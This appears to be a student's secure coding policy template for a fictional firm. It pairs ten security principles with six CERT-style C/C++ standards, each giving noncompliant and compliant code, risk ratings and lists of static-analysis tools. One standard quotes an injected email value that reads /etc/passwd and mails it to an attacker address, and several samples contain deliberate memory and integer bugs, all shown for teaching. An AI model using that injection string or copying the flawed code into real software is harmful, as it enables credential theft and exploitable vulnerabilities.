**Green Pace Developer: Security Policy Guide Template**



# Green Pace Secure Development Policy

## Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

## Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

## Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

## Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

## Module Three Milestone

### Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | Validating input data is crucial to prevent security vulnerabilities like SQL injection and buffer overflow attacks. It ensures data integrity by confirming that input data is correct, complete, and within expected parameters. |
| 1. Heed Compiler Warnings | Heeding compiler warnings is essential because these warnings often indicate potential issues in the code that could lead to bugs, security vulnerabilities, or unstable behavior. |
| 1. Architect and Design for Security Policies | Architecting and designing for security policies is crucial because it ensures that security is integrated into the system from the ground up, rather than being an afterthought. By embedding security into the architecture and design phases, developers can identify and mitigate potential vulnerabilities early, reducing the risk of security breaches. |
| 1. Keep It Simple | Keeping it simple is important in security because simpler systems are easier to understand, audit, and maintain. Complexity increases the likelihood of errors and vulnerabilities, making it harder to identify and fix potential security issues. |
| 1. Default Deny | Default deny is a crucial security principle because it minimizes the risk of unauthorized access by denying access to resources unless explicitly allowed. This approach ensures that only users or processes with explicit permissions can access sensitive data or functions. |
| 1. Adhere to the Principle of Least Privilege | Adhering to the principle of least privilege is essential because it limits the access rights of users and processes to the minimum necessary to perform their functions. This reduces the potential damage from accidents, errors, or malicious actions. |
| 1. Sanitize Data Sent to Other Systems | Sanitizing data sent to other systems is crucial because it prevents the introduction of harmful data that could exploit vulnerabilities in those systems, although the receiving system should validate input data as well. |
| 1. Practice Defense in Depth | Practicing defense in depth is essential because it provides multiple layers of security controls, ensuring that if one layer fails, others still protect the system. This approach mitigates the risk of a single point of failure, making it harder for attackers to penetrate defenses. |
| 1. Use Effective Quality Assurance Techniques | Using effective quality assurance (QA) techniques is crucial because it helps identify and address security vulnerabilities, bugs, and performance issues early in the development process. |
| 1. Adopt a Secure Coding Standard | Adopting a secure coding standard is essential because it provides clear guidelines and best practices for developing secure software. Secure coding standards help enforce consistent coding practices across development teams, promoting a culture of security awareness and accountability. |

### C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

#### Coding Standard 1

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Type** | EXP-009-CLG | Use sizeof to determine the size of a type or variable. Do not hard code the size of a type into an application. Because of alignment, padding, and differences in basic types (e.g., 32-bit versus 64-bit pointers), the size of most types can vary between compilers and even versions of the same compiler. |

| **Noncompliant Code** |
| --- |
| This noncompliant code example attempts to declare a two-dimensional array of integers with variable length rows. On a platform with 64-bit integers, the loop will access memory outside the allocated memory section. |
| int f(void) { /\* Assuming 32-bit pointer, 32-bit integer \*/  size\_t i;  int \*\*matrix = (int \*\*)calloc(100, 4);  if (matrix == NULL) {  return -1; /\* Indicate calloc() failure \*/  }    for (i = 0; i < 100; i++) {  matrix[i] = (int \*)calloc(i, 4);  if (matrix[i] == NULL) {  return -1; /\* Indicate calloc() failure \*/  }  }  return 0;  } |

| **Compliant Code** |
| --- |
| This compliant solution replaces the hard-coded value 4 with sizeof(int \*): |
| int f(void) {  size\_t i;  int \*\*matrix = (int \*\*)calloc(100, sizeof(\*matrix));  if (matrix == NULL) {  return -1; /\* Indicate calloc() failure \*/  }    for (i = 0; i < 100; i++) {  matrix[i] = (int \*)calloc(i, sizeof(\*\*matrix));  if (matrix[i] == NULL) {  return -1; /\* Indicate calloc() failure \*/  }  }    return 0;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 2.** **Heed Compiler Warnings:** Using sizeof helps in avoiding hard-coded sizes, which can trigger compiler warnings about potential issues with data type sizes, leading to more stable and secure code.  **4. Keep It Simple:** By using sizeof instead of hard-coded values, the code becomes simpler and easier to maintain, reducing the risk of errors and vulnerabilities.  **10. Adopt a Secure Coding Standard:** Using sizeof aligns with secure coding standards and best practices, ensuring type sizes are handled correctly and consistently across different environments, promoting overall security. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Unlikely | Medium | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **alloc-without-sizeof** | Partially checked |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Can detect violations of this recommendation. In particular, it looks for the size argument of malloc(), calloc(), or realloc() and flags when it does not find a sizeof operator in the argument expression. It does not flag if the return value is assigned to a char \*; in this case a string is being allocated, and sizeof is unnecessary because sizeof(char) == 1 |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | **CC2.EXP09** | Can detect violations of this recommendation. In particular, it considers when the size of a type is used by malloc(), calloc() or realloc() and flags these functions if either the size argument does not use a sizeof operator, or the size argument uses sizeof, but the type of the returned value is not a pointer to the type of the argument to sizeof. It does not flag if the returned value is assigned to a char \* |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **201 S** | Partially implemented |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rec. EXP09-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.exp09c.html) | Checks for hard-coded object size used to manipulate memory (rec. fully covered) |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/c/RuleChecker) | 24.04 | **alloc-without-sizeof** | Partially checked |

#### Coding Standard 2

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | INT-031-CLG | Ensure that integer conversions do not result in lost or misinterpreted data. Integer conversions, both implicit and explicit (using a cast), must be guaranteed not to result in lost or misinterpreted data. |

| **Noncompliant Code** |
| --- |
| Type range errors, including loss of data (truncation) and loss of sign (sign errors), can occur when converting from a value of an unsigned integer type to a value of a signed integer type. This noncompliant code example results in a truncation error on most implementations: |
| #include <limits.h>    void func(void) {  unsigned long int u\_a = ULONG\_MAX;  signed char sc;  sc = (signed char)u\_a; /\* Cast eliminates warning \*/  /\* ... \*/  } |

| **Compliant Code** |
| --- |
| Validate ranges when converting from an unsigned type to a signed type. This compliant solution can be used to convert a value of unsigned long int type to a value of signed char type: |
| #include <limits.h>    void func(void) {  unsigned long int u\_a = ULONG\_MAX;  signed char sc;  if (u\_a <= SCHAR\_MAX) {  sc = (signed char)u\_a; /\* Cast eliminates warning \*/  } else {  /\* Handle error \*/  }  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** **1.** **Validate Input Data:** Ensuring that integer conversions do not result in data loss or misinterpretation helps maintain data integrity, which is crucial for validating input data correctly.  **2. Heed Compiler Warnings**: Compiler warnings often indicate potential issues with integer conversions, such as data loss or misinterpretation. Addressing these warnings helps prevent related security vulnerabilities.  **9. Use Effective Quality Assurance Techniques**: Effective QA techniques can identify issues with integer conversions early in the development process, ensuring that such conversions do not lead to security vulnerabilities or functional errors. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 |  | Supported via MISRA C:2012 Rules 10.1, 10.3, 10.4, 10.6 and 10.7 |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 8.1p0 | **LANG.CAST.PC.AV LANG.CAST.PC.CONST2PTR LANG.CAST.PC.INT**  **LANG.CAST.COERCE LANG.CAST.VALUE**  **ALLOC.SIZE.TRUNC MISC.MEM.SIZE.TRUNC**  **LANG.MEM.TBA** | Cast: arithmetic type/void pointer Conversion: integer constant to pointer Conversion: pointer/integer  Coercion alters value Cast alters value  Truncation of allocation size Truncation of size  Tainted buffer access |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Can detect violations of this rule. However, false warnings may be raised if limits.h is included |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity)\* | 2017.07 | **NEGATIVE\_RETURNS**  **REVERSE\_NEGATIVE**  **MISRA\_CAST** | Can find array accesses, loop bounds, and other expressions that may contain dangerous implied integer conversions that would result in unexpected behavior  Can find instances where a negativity check occurs after the negative value has been used for something else  Can find instances where an integer expression is implicitly converted to a narrower integer type, where the signedness of an integer value is implicitly converted, or where the type of a complex expression is implicitly converted |
| [Cppcheck](https://wiki.sei.cmu.edu/confluence/display/c/Cppcheck) | 1.66 | **memsetValueOutOfRange** | The second argument to memset() cannot be represented as unsigned char |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2024.1 | **C2850, C2855, C2890, C2895, C2900, C2905,**  **C++2850, C++2855, C++2890, C++2895, C++2900, C++2905,  C++3000, C++3010**  **DF2851, DF2852, DF2853,  DF2856, DF2857, DF2858, DF2891, DF2892, DF2893, DF2896, DF2897, DF2898, DF2901, DF2902, DF2903, DF2906, DF2907, DF2908** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.1 | **PORTING.CAST.SIZE** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **93 S, 433 S, 434 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-INT31-a** **CERT\_C-INT31-b** **CERT\_C-INT31-c** **CERT\_C-INT31-d** **CERT\_C-INT31-e** **CERT\_C-INT31-f** **CERT\_C-INT31-g** **CERT\_C-INT31-h** **CERT\_C-INT31-i** **CERT\_C-INT31-j** **CERT\_C-INT31-k** **CERT\_C-INT31-l** **CERT\_C-INT31-m** **CERT\_C-INT31-n CERT\_C-INT31-o CERT\_C-INT31-p** | An expression of essentially Boolean type should always be used where an operand is interpreted as a Boolean value An operand of essentially Boolean type should not be used where an operand is interpreted as a numeric value An operand of essentially character type should not be used where an operand is interpreted as a numeric value An operand of essentially enum type should not be used in an arithmetic operation Shift and bitwise operations should not be performed on operands of essentially signed or enum type An operand of essentially signed or enum type should not be used as the right hand operand to the bitwise shifting operator An operand of essentially unsigned type should not be used as the operand to the unary minus operator The value of an expression shall not be assigned to an object with a narrower essential type The value of an expression shall not be assigned to an object of a different essential type category Both operands of an operator in which the usual arithmetic conversions are performed shall have the same essential type category The second and third operands of the ternary operator shall have the same essential type category The value of a composite expression shall not be assigned to an object with wider essential type If a composite expression is used as one operand of an operator in which the usual arithmetic conversions are performed then the other operand shall not have wider essential type If a composite expression is used as one (second or third) operand of a conditional operator then the other operand shall not have wider essential type Avoid data loss when converting between integer types Avoid value change when converting between integer types |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rule INT31-C](https://www.mathworks.com/help/bugfinder/ref/certcruleint31c.html) | Checks for:   * Integer conversion overflow * Call to memset with unintended value * Sign change integer conversion overflow * Tainted sign change conversion * Unsigned integer conversion overflow   Rule partially covered. |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/c/PVS-Studio) | 7.31 | [**V562**](https://pvs-studio.com/en/docs/warnings/v562/), [**V569**](https://pvs-studio.com/en/docs/warnings/v569/), [**V642**](https://pvs-studio.com/en/docs/warnings/v642/), [**V676**](https://pvs-studio.com/en/docs/warnings/v676/), [**V716**](https://pvs-studio.com/en/docs/warnings/v716/), [**V721**](https://pvs-studio.com/en/docs/warnings/v721/), [**V724**](https://pvs-studio.com/en/docs/warnings/v724/), [**V732**](https://pvs-studio.com/en/docs/warnings/v732/), [**V739**](https://pvs-studio.com/en/docs/warnings/v739/), [**V784**](https://pvs-studio.com/en/docs/warnings/v784/), [**V793**](https://pvs-studio.com/en/docs/warnings/v793/), [**V1019**](https://pvs-studio.com/en/docs/warnings/v1019/),  [**V1029**](https://pvs-studio.com/en/docs/warnings/v1029/),[**V1046**](https://pvs-studio.com/en/docs/warnings/v1046/) |  |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/c/RuleChecker) | 24.04 |  | Supported via MISRA C:2012 Rules 10.1, 10.3, 10.4, 10.6 and 10.7 |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | **signed\_downcast** | Exhaustively verified. |

#### Coding Standard 3

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | STR-030-CLG | Do not attempt to modify string literals. Avoid assigning a string literal to a pointer to non-const or casting a string literal to a pointer to non-const. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, the char pointer str is initialized to the address of a string literal. Attempting to modify the string literal is undefined behavior: |
| char \*str = "string literal";  str[0] = 'S'; |

| **Compliant Code** |
| --- |
| As an array initializer, a string literal specifies the initial values of characters in an array as well as the size of the array. (See STR11-C. Do not specify the bound of a character array initialized with a string literal.) This code creates a copy of the string literal in the space allocated to the character array str. The string stored in str can be modified safely. |
| char str[] = "string literal";  str[0] = 'S'; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 4. Keep it Simple:** By avoiding complex manipulations and ensuring that string literals are not assigned to non-const pointers or cast to non-const, the code remains straightforward and less error-prone.  **10.** **Adopt a Secure Coding Standard**: This principle is directly relevant because avoiding modification of string literals is a widely recognized best practice in secure coding standards. It helps prevent undefined behavior and potential security vulnerabilities associated with string manipulation. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Likely | Low | P9 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **string-literal-modfication** **write-to-string-literal** | Fully checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-STR30** | Fully implemented |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/c/Rose) |  |  | Can detect simple violations of this rule |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 2017.07 | **PW** | Deprecates conversion from a string literal to "char \*" |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2024.1 | **C0556, C0752, C0753, C0754**  **C++3063, C++3064, C++3605, C++3606, C++3607** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.1 | **CERT.STR.ARG.CONST\_TO\_NONCONST** **CERT.STR.ASSIGN.CONST\_TO\_NONCONST** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **157 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-STR30-a** **CERT\_C-STR30-b** | A string literal shall not be modified Do not modify string literals |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | **489, 1776** | Partially supported |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rule STR30-C](https://www.mathworks.com/help/bugfinder/ref/certcrulestr30c.html) | Checks for writing to const qualified object (rule fully covered) |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/c/PVS-Studio) | 7.31 | [**V675**](https://pvs-studio.com/en/docs/warnings/v675/) |  |
| [RuleChecker](https://wiki.sei.cmu.edu/confluence/display/c/RuleChecker) | 24.04 | **string-literal-modfication** | Partially checked |
| [Splint](https://wiki.sei.cmu.edu/confluence/display/c/Splint) | 3.1.1 |  |  |
| [TrustInSoft Analyzer](https://wiki.sei.cmu.edu/confluence/display/c/TrustInSoft+Analyzer) | 1.38 | mem\_access | Exhaustively verified (see [one compliant and one non-compliant example](https://taas.trust-in-soft.com/tsnippet/t/952d807d)). |

#### Coding Standard 4

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **SQL Injection** | STR-002-CLG | Sanitize data passed to complex subsystems. String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. |

| **Noncompliant Code** |
| --- |
| Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address to a buffer and then uses this string as an argument in a call to system() [Viega 2003]:  The risk, of course, is that the user enters the following string as an email address:  bogus@addr.com; cat /etc/passwd | mail some@badguy.net |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer); |

| **Compliant Code** |
| --- |
| It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, whitelisting can be used to eliminate dangerous characters from the data.  The whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This compliant solution, based on the tcp\_wrappers package written by Wietse Venema, shows the whitelisting approach: |
| static char ok\_chars[] = "abcdefghijklmnopqrstuvwxyz"  "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  "1234567890\_-.@";  char user\_data[] = "Bad char 1:} Bad char 2:{";  char \*cp = user\_data; /\* Cursor into string \*/  const char \*end = user\_data + strlen( user\_data);  for (cp += strspn(cp, ok\_chars); cp != end; cp += strspn(cp, ok\_chars)) {  \*cp = '\_';  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 1. Validate Input Data**: Sanitizing data is a critical aspect of input validation. It ensures that data passed to complex subsystems does not contain harmful characters or commands that could exploit vulnerabilities, such as SQL injection.  **7.** **Sanitize Data Sent to Other Systems:**  This principle directly aligns with the guideline to sanitize string data before passing it to complex subsystems. It emphasizes the critical importance of filtering out malicious input that could exploit vulnerabilities in external systems, such as SQL injection attacks. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 |  | Supported by stubbing/taint analysis |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 8.1p0 | **IO.INJ.COMMAND IO.INJ.FMT IO.INJ.LDAP IO.INJ.LIB IO.INJ.SQL IO.UT.LIB IO.UT.PROC** | Command injection Format string injection LDAP injection Library injection SQL injection Untrusted Library Load Untrusted Process Creation |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 6.5 | **TAINTED\_STRING** | Fully implemented |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.1 | **NNTS.TAINTED** **SV.TAINTED.INJECTION** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **108 D, 109 D** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2023.1 | **CERT\_C-STR02-a** **CERT\_C-STR02-b** **CERT\_C-STR02-c** | Protect against command injection Protect against file name injection Protect against SQL injection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/c/Polyspace+Bug+Finder) | R2024a | [CERT C: Rec. STR02-C](https://www.mathworks.com/help/bugfinder/ref/certcrec.str02c.html) | Checks for:   * Execution of externally controlled command * Command executed from externally controlled path * Library loaded from externally controlled path   Rec. partially covered. |

#### Coding Standard 5

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | MEM-050-CPP | Do not access freed memory. Pointers to memory that has been deallocated are called dangling pointers. Accessing a dangling pointer can result in exploitable vulnerabilities. |

| **Noncompliant Code** |
| --- |
| In this noncompliant code example, s is dereferenced after it has been deallocated. If this access results in a write-after-free, the vulnerability can be exploited to run arbitrary code with the permissions of the vulnerable process. Typically, dynamic memory allocations and deallocations are far removed, making it difficult to recognize and diagnose such problems. |
| #include <new>    struct S {  void f();  };    void g() noexcept(false) {  S \*s = new S;  // ...  delete s;  // ...  s->f();  } |

| **Compliant Code** |
| --- |
| In this compliant solution, the dynamically allocated memory is not deallocated until it is no longer required. |
| #include <new>    struct S {  void f();  };    void g() noexcept(false) {  S \*s = new S;  // ...  s->f();  delete s;  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 2.** **Heed Compiler Warnings:** Compiler warnings can often indicate potential issues with accessing freed memory. Addressing these warnings can help prevent vulnerabilities related to dangling pointers.  **9. Use Effective Quality Assurance Techniques:** Effective QA techniques, such as thorough testing and code reviews, can identify issues with dangling pointers early in the development process, ensuring that such vulnerabilities are addressed before the software is deployed. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Likely | Medium | P18 | L1 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=222953724) | 22.10 | **dangling\_pointer\_use** |  |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC++-MEM50** |  |
| [Clang](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Clang) | 3.9 | clang-analyzer-cplusplus.NewDelete clang-analyzer-alpha.security.ArrayBoundV2 | Checked by clang-tidy, but does not catch all violations of this rule. |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CodeSonar) | 8.1p0 | **ALLOC.UAF** | Use after free |
| [Compass/ROSE](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Rose) |  |  |  |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | v7.5.0 | **USE\_AFTER\_FREE** | Can detect the specific instances where memory is deallocated more than once or read/written to the target of a freed pointer |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Helix+QAC) | 2024.1 | **C++4303, C++4304** |  |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Klocwork) | 2024.1 | **UFM.DEREF.MIGHT** **UFM.DEREF.MUST** **UFM.FFM.MIGHT** **UFM.FFM.MUST** **UFM.RETURN.MIGHT** **UFM.RETURN.MUST** **UFM.USE.MIGHT** **UFM.USE.MUST** |  |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/cplusplus/LDRA) | 9.7.1 | **483 S, 484 S** | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) | 2023.1 | **CERT\_CPP-MEM50-a** | Do not use resources that have been freed |
| [Parasoft Insure++](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Parasoft) |  |  | Runtime detection |
| [Polyspace Bug Finder](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Polyspace+Bug+Finder) | R2024a | [CERT C++: MEM50-CPP](https://www.mathworks.com/help/bugfinder/ref/certcmem50cpp.html) | Checks for:   * Pointer access out of bounds * Deallocation of previously deallocated pointer * Use of previously freed pointer   Rule partially covered. |
| [PVS-Studio](https://wiki.sei.cmu.edu/confluence/display/cplusplus/PVS-Studio) | 7.31 | [**V586**](https://pvs-studio.com/en/docs/warnings/v586/), [**V774**](https://pvs-studio.com/en/docs/warnings/v774/) |  |
| [Splint](https://wiki.sei.cmu.edu/confluence/display/cplusplus/Splint) | 5.0 |  |  |

#### Coding Standard 6

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Assertions** | PRE-031-CLG | Avoid side effects in arguments to unsafe macros. An unsafe function-like macro is one whose expansion results in evaluating one of its parameters more than once or not at all. |

| **Noncompliant Code** |
| --- |
| The assert() macro is a convenient mechanism for incorporating diagnostic tests in code. (See MSC11-C. Incorporate diagnostic tests using assertions.) Expressions used as arguments to the standard assert() macro should not have side effects. The behavior of the assert() macro depends on the definition of the object-like macro NDEBUG. If the macro NDEBUG is undefined, the assert() macro is defined to evaluate its expression argument and, if the result of the expression compares equal to 0, call the abort() function. If NDEBUG is defined, assert is defined to expand to ((void)0). Consequently, the expression in the assertion is not evaluated, and no side effects it may have had otherwise take place in non-debugging executions of the code.  This noncompliant code example includes an assert() macro containing an expression (index++) that has a side effect: |
| #include <assert.h>  #include <stddef.h>    void process(size\_t index) {  assert(index++ > 0); /\* Side effect \*/  /\* ... \*/  } |

| **Compliant Code** |
| --- |
| This compliant solution avoids the possibility of side effects in assertions by moving the expression containing the side effect outside of the assert() macro. |
| #include <assert.h>  #include <stddef.h>    void process(size\_t index) {  assert(index > 0); /\* No side effect \*/  ++index;  /\* ... \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s): 4.** **Keep It Simple**: Avoiding side effects in macro arguments simplifies code behavior and reduces the likelihood of unintended consequences or vulnerabilities stemming from unexpected evaluations or behaviors of macros.  **9. Use Effective Quality Assurance Techniques:** Effective QA techniques, such as static analysis and code reviews, can help identify unsafe macro usage and side effects. This ensures that macros are used safely, complying with the coding standard. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Low | P3 | L3 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Astrée](https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152428) | 24.04 | **expanded-side-effect-multiplied** **expanded-side-effect-not-evaluated** **side-effect-not-expanded** | Partially checked |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | **CertC-PRE31** | Fully implemented |
| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 8.1p0 | **LANG.PREPROC.FUNCMACRO** **LANG.STRUCT.SE.DEC** **LANG.STRUCT.SE.INC** | Function-Like Macro Side Effects in Expression with Decrement Side Effects in Expression with Increment |
| [Coverity](https://wiki.sei.cmu.edu/confluence/display/c/Coverity) | 2017.07 | **ASSERT\_SIDE\_EFFECTS** | Partially implemented  Can detect the specific instance where assertion contains an operation/function call that may have a side effect |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | **CC2.EXP31 CC2.PRE31** | Fully implemented |
| [Helix QAC](https://wiki.sei.cmu.edu/confluence/display/c/Helix+QAC) | 2024.1 | **C3462, C3463, C3464,C3465,C3466,C3467**  **C++3225, C++3226, C++3227, C++3228, C++3229** | Fully implemented |
| [Klocwork](https://wiki.sei.cmu.edu/confluence/display/c/Klocwork) | 2024.1 | **PORTING.VAR.EFFECTS** | Fully implemented |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | **9 S, 562 S, 572 S, 35 D, 1 Q** | Fully implemented |
